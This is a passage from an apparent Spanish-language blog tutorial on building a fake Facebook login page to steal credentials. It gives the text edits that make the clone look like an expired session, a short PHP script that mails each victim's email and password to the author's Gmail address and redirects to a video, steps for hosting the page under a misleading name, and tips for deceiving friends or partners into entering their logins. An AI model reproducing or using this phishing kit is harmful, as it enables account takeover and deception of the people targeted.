bueno ya con esto resta editar la pagina, porque ahorta es una copia de facebook totalmente si recuerdan la pagina dice inicia sesión en facebook bueno ahora para que sea creíble pondremos "Tu sesión ha caducado, inicia sesión nuevamente para continuar"
asi que en el buscador ponemos exactamente esto "Iniciar sesión en Facebook"
y dara un resultado que es este:
quiero resaltar que este primer resultado no es el que buscamos ya que dice pageTitle se entiende que es el titulo damos en el buscador en siguiente para ver el próximo resultado
Bien este es el que nos interesa que dice la estiqueta <span>
reemplazaremos esa parte por esta:
Tu sesión ha caducado<br>Inicia nuevamente
y listo ya esta esta parte ahora guardamos y cerramos
ahora editamos el correo.php y pegamos esto asi como esta:
<?php
$email = $_POST['email'];
$pass = $_POST['pass'];
mail('comeraguacate@gmail.com',$email,$pass);
header("Status: 301 Moved Permanently");
header("Location: https://www.facebook.com/perritosbienchulosdebonitos/videos/1660981013997854/");
exit;
?>
Bueno la primer linea señala el correo electrónico al que llegaran los datos y la segunda el link al que te va a redirigir, evidentemente debe ser un vídeo de facebook (debe ser un vídeo forzosamente no porque no funcione con imágenes sino porque es parte de la estrategia de engaño)
en este caso el correo que recibe es el de los aguacates y manda al video de el perrito
ahora guaramos y listo muy bien ahora necesitamos subirlo a internet la pagina que yo uso es
https://mex.000webhost.com/
bien se crean una cuenta y en la pagina que te manda dan en el signo de + para crear un sitio
Ahora le ponemos de nombre videoredirect y un montón e letras y números al azar porque el url de nuestra pagina falta terminara en .ooowebhost y el chiste es que no se vea por eso un nombre largo que comienza con vídeo para dar la impresión de que direcciona a un vídeo
damos clic en create y luego nos mandara a una pagina en la que daremos clic aqui
nos abrirá una página, bajamos un poco y damos en uplodad files now
y nos abrirá esta pagina
Bien ahora subimos los 2 archivos que creamos los podemos arrastrar desde la carpeta que tenemos o en donde esta la nubesita
Y ahora volvemos a la pagina anterior
Y damos clic sobre nuestro link
Y nos abrirá nuestro facebook falso
ahora si ingresamos datos y damos en iniciar sesión nos manda a nuestro vídeo y si revisamos nuestra bandeja de entrada tenemos un regalito
Como pueden ver es el correo y la contraseña
Ahora hay un punto a favor y uno en contra, uno es que como se podrán dar cuenta no inicia tu sesión de facebook por lo que yo les recomiendo enviarlo por messenger ya que tu sesión al ya estar iniciada no de pedirá volver a entrar, si lo envían por whats app corren el riesgo de que no tengan su facebook abierto y al tener que iniciar 2 veces sospechen las victimas pero solo tengan cuidado, otra cosa cuando intenten abrir el facebook la victima recibirá una notificación de que su sesión fue iniciada en un dispositivo raro y por ultimo como se dan cuenta no hace la comprobación de que la clave sea correcta así que si la escribe mal ya valieron xD pero eso casi no pasa.
Una ultima cosa es que esta pagina es falsa, si la persona se fija mucho en el link puede sospechar pero si lo harás con tu novi@ o un amigo normal la gente no se fija en los links sin embargo no todos caen y otros caen super fácil entonces si tu tienes a pagina con mucho potencial es mas importante que antes de mandárselo sepas hacer entrar en confianza a la persona y sonar casual para que caigan algo así como empezar a mandarle videos quizá mandarle unos 5 vídeos para que se ria y baje la guardia y entonces mandarle este y el entre risas por lo anteriores lo abrirá lo vera raro pero su curiosidad de ver el vídeo que tu le estas recomendando sera mas grande y lo hará rápido para verlo y efectivamente lo vera así que el nunca lo sabrá por lo que sean ingeniosos y sepan engañarlos
La pagina funciona perfectamente en celulares android y en computadoras, nunca lo he probado con un iphone pero no veo porque no funcionaria así que si funciona me avisan.
Suerte quizá suba mas contenido así :v
No me hago responsable de que encuentren en facebooks ajenos así que es bajo su propio riesgo si lo usan bien o mal o solo para trollear
por si quieren probar mi link es este
LINK
si quieren que pase los archivos comenten :v
por si quieren probar mi link es este
LINK
si quieren que pase los archivos comenten :v
Suscribirse a:
Entradas (Atom)



















































